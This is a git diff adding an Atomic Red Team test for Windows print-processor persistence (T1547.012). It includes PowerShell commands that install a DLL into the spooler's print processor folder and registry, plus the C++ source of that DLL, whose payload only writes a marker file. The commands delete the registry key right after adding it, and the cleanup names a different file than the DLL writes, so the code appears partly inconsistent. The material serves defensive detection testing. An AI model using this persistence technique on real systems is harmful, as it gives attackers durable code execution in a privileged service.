diff --git a/atomics/T1547.012/T1547.012.yaml b/atomics/T1547.012/T1547.012.yaml new file mode 100644 index 00000000..98bb61e6 --- /dev/null +++ b/atomics/T1547.012/T1547.012.yaml @@ -0,0 +1,36 @@ +attack_technique: T1547.012 +display_name: 'Boot or Logon Autostart Execution: Print Processors' +atomic_tests: +- name: Print Processors + description: | + Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors. + The new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful. + + Note: The test assumes a x64 Windows operating system. + + The payload source code is based on a blog post by stmxcsr: [https://stmxcsr.com/persistence/print-processor.html](https://stmxcsr.com/persistence/print-processor.html) + supported_platforms: + - windows + input_arguments: + restart: + description: set to 1 if you want the computer to reboot as part of the test + type: integer + default: 0 + executor: + command: | + net stop spooler + Copy-Item $PathToAtomicsFolder\T1547.012\bin\PrintProcessor.dll C:\Windows\System32\spool\prtprocs\x64\PrintProcessor.dll + reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /v "Driver" /d "PrintProcessor.dll" /t REG_SZ /f + reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /f >nul 2>&1 + net start spooler + if(#{restart}){ + Restart-Computer + } + cleanup_command: | + net stop spooler + rm -force C:\Windows\System32\spool\prtprocs\x64\PrintProcessor.dll + rm -force C:\Users\Public\AtomicRedTeam.txt + reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /f >nul 2>&1 + net start spooler + name: powershell + elevation_required: true diff --git a/atomics/T1547.012/bin/PrintProcessor.dll b/atomics/T1547.012/bin/PrintProcessor.dll new file mode 100644 index 00000000..b47936b4 Binary files /dev/null and b/atomics/T1547.012/bin/PrintProcessor.dll differ diff --git a/atomics/T1547.012/src/dllmain.cpp b/atomics/T1547.012/src/dllmain.cpp new file mode 100644 index 00000000..515a143c --- /dev/null +++ b/atomics/T1547.012/src/dllmain.cpp @@ -0,0 +1,70 @@ +#include "pch.h" +#include +#include +#include + +#define DllExport __declspec(dllexport) + +extern "C" __declspec(dllexport) void PayloadFunction() +{ + std::ofstream outfile("C:\\Users\\Public\\AtomicTest.txt"); + outfile << "AtomicRedTeam test for T1547.012" << std::endl; + outfile.close(); +} + +extern "C" DllExport BOOL ClosePrintProcessor(HANDLE hPrintProcessor) +{ + return 1; +} + +extern "C" DllExport BOOL ControlPrintProcessor(HANDLE hPrintProcessor, DWORD Command) +{ + return 1; +} + +BOOL EnumPrintProcessorDatatypesW(LPWSTR pName, LPWSTR pPrintProcessorName, DWORD Level, LPBYTE pDatatypes, DWORD cbBuf, LPDWORD pcbNeeded, LPDWORD pcReturned) +{ + // executes when DLL is loaded + return 1; +} + +extern "C" DllExport DWORD GetPrintProcessorCapabilities(LPTSTR pValueName, DWORD dwAttributes, LPBYTE pData, DWORD nSize, LPDWORD pcbNeeded) +{ + return 0; +} + +typedef struct _PRINTPROCESSOROPENDATA { + PDEVMODE pDevMode; + LPWSTR pDatatype; + LPWSTR pParameters; + LPWSTR pDocumentName; + DWORD JobId; + LPWSTR pOutputFile; + LPWSTR pPrinterName; +} PRINTPROCESSOROPENDATA, * PPRINTPROCESSOROPENDATA, * LPPRINTPROCESSOROPENDATA; + +extern "C" DllExport HANDLE OpenPrintProcessor(LPWSTR pPrinterName, PPRINTPROCESSOROPENDATA pPrintProcessorOpenData) +{ + return (HANDLE)11; +} + +extern "C" DllExport BOOL PrintDocumentOnPrintProcessor(HANDLE hPrintProcessor, LPWSTR pDocumentName) +{ + return 1; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) +{ + switch (fdwReason) + { + case DLL_PROCESS_ATTACH: + PayloadFunction(); + break; + case DLL_THREAD_ATTACH: + case DLL_PROCESS_DETACH: + case DLL_THREAD_DETACH: + break; + } + + return 1; +} \ No newline at end of file